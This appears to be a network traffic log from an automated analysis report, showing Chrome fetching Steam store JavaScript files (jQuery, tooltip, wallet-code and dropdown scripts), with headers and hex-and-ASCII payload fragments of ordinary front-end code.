2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 6f 6e 4f 62 73 65 72 76 65 72 45 76 65 6e 74 2e 62 69 6e 64 28 74 68 69 73 29 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 66 72 65 71 75 65 6e 63 79 2a 31 30 30 30 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 61 63 74 69 76 61 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 63 68 61 6e 67 65 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 68 61 73 46 6f 63 75 73 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 67 65 74 55 70 64 61 74 65 64 43 68 6f 69 63 65 73 28 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 6f 6e 48 6f 76 65 72 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 Data Ascii: 00004000 setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); }, activate: function() { this.changed = false; this.hasFocus = true; this.getUpdatedChoices(); }, onHover: function(event) { var
2024-10-06 12:08:23 UTC	12	IN	Data Raw: 63 74 69 6f 6e 28 29 20 7b 0d 0d 0a Data Ascii: ction() {
2024-10-06 12:08:23 UTC	919	IN	Data Raw: 30 30 30 30 30 33 38 42 0d 0a 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 7d 2c 0d 0a 20 20 68 61 6e 64 6c 65 41 4a 41 58 46 61 69 6c 75 72 65 3a 20 66 75 6e 63 74 69 6f 6e 28 74 72 61 6e 73 70 6f 72 74 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 74 72 69 67 67 65 72 43 61 6c 6c 62 61 63 6b 28 27 6f 6e 46 61 69 6c 75 72 65 27 2c 20 74 72 61 6e 73 70 6f 72 74 29 3b 0d 0a 20 20 20 20 69 66 20 28 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 29 20 7b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c Data Ascii: 0000038B return this.element.innerHTML; }, handleAJAXFailure: function(transport) { this.triggerCallback('onFailure', transport); if (this._oldInnerHTML) { this.element.innerHTML = this._oldInnerHTML; this._oldInnerHTML
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 0d 0a 20 20 20 20 20 20 20 20 6f 6e 46 61 69 6c 75 72 65 3a 20 74 68 69 73 2e 5f 62 6f 75 6e 64 46 61 69 6c 75 72 65 48 61 6e 64 6c 65 72 0d 0a 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 6e 65 77 20 41 6a 61 78 2e 55 70 64 61 74 65 72 28 7b 20 73 75 63 63 65 73 73 3a 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 20 7d 2c 20 74 68 69 73 2e 75 72 6c 2c 20 6f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 70 74 69 6f 6e 73 20 3d 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 6d 65 74 68 6f 64 3a 20 27 67 65 74 27 20 7d 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 61 6a 61 78 4f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 Data Ascii: 00004000, onFailure: this._boundFailureHandler }); new Ajax.Updater({ success: this.element }, this.url, options); } else { var options = Object.extend({ method: 'get' }, this.options.ajaxOptions); Object.extend
2024-10-06 12:08:23 UTC	12	IN	Data Raw: 65 64 56 61 6c 75 65 73 29 7b 0d 0a Data Ascii: edValues){
2024-10-06 12:08:23 UTC	6622	IN	Data Raw: 30 30 30 30 31 39 44 32 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3e 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3c 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 3b 0d 0a 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 66 66 73 65 74 20 3d 20 4d 61 74 68 2e 61 62 73 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 5b 30 5d 20 2d 20 76 61 6c 75 65 29 3b 0d 0a 20 20 20 20 20 20 76 61 72 20 6e 65 77 56 Data Ascii: 000019D2 if (value >= this.allowedValues.max()) return(this.allowedValues.max()); if (value <= this.allowedValues.min()) return(this.allowedValues.min()); var offset = Math.abs(this.allowedValues[0] - value); var newV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49744	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	403	OUT	GET /public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:23 UTC	348	IN	HTTP/1.1 200 OK Last-Modified: Wed, 28 Jun 2023 04:07:10 GMT ETag: ".zYHOpI1L3Rt0" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14045443 Expires: Tue, 18 Mar 2025 01:39:06 GMT Date: Sun, 06 Oct 2024 12:08:23 GMT Content-Length: 16087 Connection: close
2024-10-06 12:08:23 UTC	16036	IN	Data Raw: 2f 2a 20 52 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 0d 0a 20 2a 0d 0a 20 2a 20 54 68 69 73 20 70 6c 75 67 69 6e 20 77 69 6c 6c 20 63 72 65 61 74 65 20 64 69 76 2e 6a 73 54 6f 6f 6c 74 69 70 20 65 6c 65 6d 65 6e 74 73 20 28 6f 72 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 6f 77 6e 21 29 20 69 6e 20 62 6f 64 79 20 66 6f 72 20 65 76 65 72 79 20 74 6f 6f 6c 74 69 70 20 6f 6e 20 74 68 65 20 70 61 67 65 2e 20 53 6f 6d 65 0d 0a 20 2a 20 62 61 73 69 63 20 43 53 53 20 69 73 20 61 70 70 6c 69 65 64 20 61 75 74 6f 6d 61 67 69 63 61 6c 6c 79 2c 20 62 75 74 20 79 6f 75 27 6c 6c 20 77 61 6e 74 20 74 6f 20 73 74 79 6c 65 20 69 74 20 6f 6e 20 79 6f 75 72 20 6f 77 6e 20 66 72 6f 6d 20 74 68 65 72 65 2e 20 54 68 69 73 20 63 6f 64 65 20 77 69 6c 6c 20 62 65 20 61 70 Data Ascii: /* Requires jQuery * * This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be ap
2024-10-06 12:08:23 UTC	51	IN	Data Raw: 72 79 2e 74 6f 6f 6c 74 69 70 27 20 29 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 7d 3b 0d 0a 0d 0a 0d 0a 7d 29 28 20 6a 51 75 65 72 79 20 29 3b 0d 0a 0d 0a 0d 0a Data Ascii: ry.tooltip' );}};})( jQuery );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49746	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	554	OUT	GET /public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:23 UTC	352	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "XsgODqUOlVw9" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=15099103 Expires: Sun, 30 Mar 2025 06:20:06 GMT Date: Sun, 06 Oct 2024 12:08:23 GMT Content-Length: 14447 Connection: close
2024-10-06 12:08:23 UTC	14447	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 72 65 63 61 70 74 63 68 61 49 6e 73 74 61 6e 63 65 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 69 73 70 6c 61 79 50 61 67 65 28 20 70 61 67 65 20 29 0d 0a 7b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 27 3b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 6e 6f 6e 65 27 3b 09 0d 0a 0d 0a 09 09 73 77 69 74 63 68 20 28 20 70 61 67 65 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 63 61 73 65 20 27 63 6f 64 65 27 3a 0d 0a 09 09 09 09 24 28 27 77 61 6c 6c 65 74 5f 63 6f 64 65 5f 66 6f 72 6d 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 27 3b 0d 0a 09 09 09 09 24 28 27 72 65 64 Data Ascii: var g_recaptchaInstance = null;function DisplayPage( page ){$('error_display').innerHTML = '';$('error_display').style.display = 'none';switch ( page ){case 'code':$('wallet_code_form').style.display = '';$('red

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49748	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	412	OUT	GET /public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:23 UTC	475	IN	HTTP/1.1 200 OK Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: ".TZ2NKhB-nliU" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 X-Serial: 1737 X-Akamai-SSL-Client-Sid: KvR2HQB5UXgeTT7CRsNBvQ== X-Check-Cacheable: YES Cache-Control: public, max-age=7795896 Expires: Sat, 04 Jan 2025 17:39:59 GMT Date: Sun, 06 Oct 2024 12:08:23 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:23 UTC	15909	IN	Data Raw: 30 30 30 30 42 31 43 31 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 38 2e 33 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 76 61 72 20 74 3d 4d 5b 65 5d 3d 7b 7d 3b 72 65 74 75 72 6e 20 76 2e 65 61 63 68 28 65 2e 73 70 6c 69 74 28 79 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 74 5b 6e 5d 3d 21 30 7d 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 6e 2c 72 29 7b 69 66 28 72 3d 3d 3d 74 26 26 65 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 31 29 7b 76 61 72 20 69 3d 22 64 61 74 61 2d 22 2b 6e 2e 72 65 70 6c 61 63 65 28 50 2c 22 2d 24 31 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 3d 65 2e 67 65 Data Ascii: 0000B1C1/! jQuery v1.8.3 jquery.com \| jquery.org/license /(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.ge
2024-10-06 12:08:23 UTC	15865	IN	Data Raw: 68 3b 69 66 28 72 26 26 74 79 70 65 6f 66 20 72 3d 3d 22 6f 62 6a 65 63 74 22 29 7b 66 6f 72 28 6c 20 69 6e 20 72 29 76 2e 61 63 63 65 73 73 28 65 2c 6e 2c 6c 2c 72 5b 6c 5d 2c 31 2c 6f 2c 69 29 3b 73 3d 31 7d 65 6c 73 65 20 69 66 28 69 21 3d 3d 74 29 7b 61 3d 75 3d 3d 3d 74 26 26 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 69 29 2c 66 26 26 28 61 3f 28 61 3d 6e 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 76 28 65 29 2c 6e 29 7d 29 3a 28 6e 2e 63 61 6c 6c 28 65 2c 69 29 2c 6e 3d 6e 75 6c 6c 29 29 3b 69 66 28 6e 29 66 6f 72 28 3b 6c 3c 63 3b 6c 2b 2b 29 6e 28 65 5b 6c 5d 2c 72 2c 61 3f 69 2e 63 61 6c 6c 28 65 5b 6c 5d 2c 6c 2c 6e 28 65 5b 6c 5d 2c 72 29 29 3a 69 2c 75 29 3b 73 3d 31 7d 72 65 74 75 72 6e 20 Data Ascii: h;if(r&&typeof r=="object"){for(l in r)v.access(e,n,l,r[l],1,o,i);s=1}else if(i!==t){a=u===t&&v.isFunction(i),f&&(a?(a=n,n=function(e,t,n){return a.call(v(e),n)}):(n.call(e,i),n=null));if(n)for(;l<c;l++)n(e[l],r,a?i.call(e[l],l,n(e[l],r)):i,u);s=1}return
2024-10-06 12:08:23 UTC	13743	IN	Data Raw: 3d 22 62 6f 6f 6c 65 61 6e 22 26 26 28 72 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 6e 29 29 26 26 72 2e 6e 6f 64 65 56 61 6c 75 65 21 3d 3d 21 31 3f 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 74 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 74 3d 3d 3d 21 31 3f 76 2e 72 65 6d 6f 76 65 41 74 74 72 28 65 2c 6e 29 3a 28 72 3d 76 2e 70 72 6f 70 46 69 78 5b 6e 5d 7c 7c 6e 2c 72 20 69 6e 20 65 26 26 28 65 5b 72 5d 3d 21 30 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6e 2c 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 2c 6e 7d 7d 2c 56 7c 7c 28 49 3d 7b 6e 61 6d 65 3a 21 30 2c 69 64 3a 21 30 2c 63 6f 6f 72 64 73 3a 21 30 7d 2c 6a 3d 76 2e 76 61 6c 48 6f 6f 6b 73 2e 62 Data Ascii: ="boolean"&&(r=e.getAttributeNode(n))&&r.nodeValue!==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?v.removeAttr(e,n):(r=v.propFix[n]\|\|n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},V\|\|(I={name:!0,id:!0,coords:!0},j=v.valHooks.b
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 26 26 21 72 29 69 66 28 69 3d 52 2e 65 78 65 63 28 65 29 29 69 66 28 66 3d 69 5b 31 5d 29 7b 69 66 28 6c 3d 3d 3d 39 29 7b 73 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 3b 69 66 28 21 73 7c 7c 21 73 2e 70 61 72 65 6e 74 4e 6f 64 65 29 72 65 74 75 72 6e 20 6e 3b 69 66 28 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 20 69 66 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 26 26 28 73 3d 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 75 28 74 2c 73 29 26 26 73 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 73 29 2c 6e 7d 65 6c 73 65 7b 69 66 28 69 5b 32 5d 29 72 65 74 75 72 6e 20 53 Data Ascii: 00004000&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s\|\|!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S
2024-10-06 12:08:23 UTC	12	IN	Data Raw: 6e 28 65 29 7b 76 61 72 20 74 0d 0a Data Ascii: n(e){var t
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 6e 3d 76 28 65 2c 74 68 69 73 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 74 3d 30 3b 74 3c 72 3b 74 2b 2b 29 69 66 28 76 2e 63 6f 6e 74 61 69 6e 73 28 74 68 69 73 2c 6e 5b 74 5d 29 29 72 65 74 75 72 6e 21 30 7d 29 7d 2c 6e 6f 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 31 29 2c 22 6e 6f 74 22 2c 65 29 7d 2c 66 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 66 74 28 74 68 69 73 2c 65 2c 21 30 29 2c 22 66 69 6c 74 65 72 22 2c 65 29 7d 2c 69 73 3a 66 75 6e 63 74 Data Ascii: 00004000,n=v(e,this),r=n.length;return this.filter(function(){for(t=0;t<r;t++)if(v.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1),"not",e)},filter:function(e){return this.pushStack(ft(this,e,!0),"filter",e)},is:funct
2024-10-06 12:08:23 UTC	12	IN	Data Raw: 2c 76 61 6c 75 65 3a 6e 2e 72 0d 0a Data Ascii: ,value:n.r
2024-10-06 12:08:23 UTC	13508	IN	Data Raw: 30 30 30 30 33 34 42 38 0d 0a 65 70 6c 61 63 65 28 6f 6e 2c 22 5c 72 5c 6e 22 29 7d 7d 29 2e 67 65 74 28 29 7d 7d 29 2c 76 2e 70 61 72 61 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 2c 69 3d 5b 5d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 3d 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 29 3f 74 28 29 3a 74 3d 3d 6e 75 6c 6c 3f 22 22 3a 74 2c 69 5b 69 2e 6c 65 6e 67 74 68 5d 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 2b 22 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 7d 3b 6e 3d 3d 3d 74 26 26 28 6e 3d 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 26 26 76 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 74 72 61 64 69 74 69 6f 6e 61 6c 29 3b 69 66 28 76 2e 69 73 41 72 72 61 79 28 65 29 7c Data Ascii: 000034B8eplace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)\|
2024-10-06 12:08:23 UTC	1880	IN	Data Raw: 30 30 30 30 30 37 34 43 0d 0a 63 73 73 28 65 2c 22 74 6f 70 22 29 2c 75 3d 76 2e 63 73 73 28 65 2c 22 6c 65 66 74 22 29 2c 61 3d 28 72 3d 3d 3d 22 61 62 73 6f 6c 75 74 65 22 7c 7c 72 3d 3d 3d 22 66 69 78 65 64 22 29 26 26 76 2e 69 6e 41 72 72 61 79 28 22 61 75 74 6f 22 2c 5b 6f 2c 75 5d 29 3e 2d 31 2c 66 3d 7b 7d 2c 6c 3d 7b 7d 2c 63 2c 68 3b 61 3f 28 6c 3d 69 2e 70 6f 73 69 74 69 6f 6e 28 29 2c 63 3d 6c 2e 74 6f 70 2c 68 3d 6c 2e 6c 65 66 74 29 3a 28 63 3d 70 61 72 73 65 46 6c 6f 61 74 28 6f 29 7c 7c 30 2c 68 3d 70 61 72 73 65 46 6c 6f 61 74 28 75 29 7c 7c 30 29 2c 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 29 26 26 28 74 3d 74 2e 63 61 6c 6c 28 65 2c 6e 2c 73 29 29 2c 74 2e 74 6f 70 21 3d 6e 75 6c 6c 26 26 28 66 2e 74 6f 70 3d 74 2e 74 6f 70 2d 73 2e 74 Data Ascii: 0000074Ccss(e,"top"),u=v.css(e,"left"),a=(r==="absolute"\|\|r==="fixed")&&v.inArray("auto",[o,u])>-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)\|\|0,h=parseFloat(u)\|\|0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.t
2024-10-06 12:08:23 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49749	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	552	OUT	GET /public/shared/javascript/dselect.js?v=sjouo3-33Gox&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:23 UTC	350	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "sjouo3-33Gox" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=8578198 Expires: Mon, 13 Jan 2025 18:58:21 GMT Date: Sun, 06 Oct 2024 12:08:23 GMT Content-Length: 9318 Connection: close
2024-10-06 12:08:23 UTC	9318	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 20 3d 20 7b 7d 3b 0d 0a 76 61 72 20 67 5f 4c 61 73 74 53 65 6c 65 63 74 48 69 64 65 54 69 6d 65 20 3d 20 30 3b 0d 0a 76 61 72 20 67 5f 66 6e 47 50 4f 6e 43 6c 6f 73 69 6e 67 4d 6f 64 61 6c 57 69 6e 64 6f 77 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 24 4a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 24 4a 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 20 27 6b 65 79 64 6f 77 6e 27 2c 20 48 61 6e 64 6c 65 4b 65 79 44 6f 77 6e 20 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 48 61 6e 64 6c 65 4d 6f 75 73 65 43 6c 69 63 6b 28 20 65 2c 20 6b 65 79 20 29 0d 0a 7b 0d 0a 09 09 09 69 66 20 28 20 21 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 5b 6b 65 79 5d 20 29 0d 0a 09 09 72 65 74 Data Ascii: var g_ActiveDropLists = {};var g_LastSelectHideTime = 0;var g_fnGPOnClosingModalWindow = null;$J(function() {$J(document).on( 'keydown', HandleKeyDown );});function HandleMouseClick( e, key ){if ( !g_ActiveDropLists[key] )ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49750	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	402	OUT	GET /public/javascript/main.js?v=90zQriNTNEnM&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:23 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "90zQriNTNEnM" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=15395513 Expires: Wed, 02 Apr 2025 16:40:16 GMT Date: Sun, 06 Oct 2024 12:08:23 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:23 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 6f 74 46 6c 61 73 68 50 6f 70 75 70 28 29 0d 0a 7b 0d 0a 09 76 61 72 20 77 69 6e 20 3d 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 20 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 67 6f 74 66 6c 61 73 68 27 2c 27 67 6f 74 66 6c 61 73 68 27 2c 27 77 69 64 74 68 3d 35 33 36 2c 68 65 69 67 68 74 3d 35 34 36 2c 72 65 73 69 7a 65 3d 79 65 73 2c 73 63 72 6f 6c 6c 62 61 72 73 3d 79 65 73 27 29 3b 0d 0a 09 77 69 6e 2e 66 6f 63 75 73 28 29 3b 0d 0a 7d 0d 0a 0d 0a 2f 2f 0d 0a 2f 2f 20 50 61 67 65 2d 61 62 6c 65 20 74 61 62 73 0d 0a 2f 2f 0d 0a 76 61 72 20 74 61 62 53 74 61 72 74 20 3d 20 7b 20 7d 3b 0d 0a 76 61 72 20 74 61 62 4d 61 78 20 3d 20 7b 20 7d 3b Data Ascii: 0000C000function GotFlashPopup(){var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');win.focus();}//// Page-able tabs//var tabStart = { };var tabMax = { };
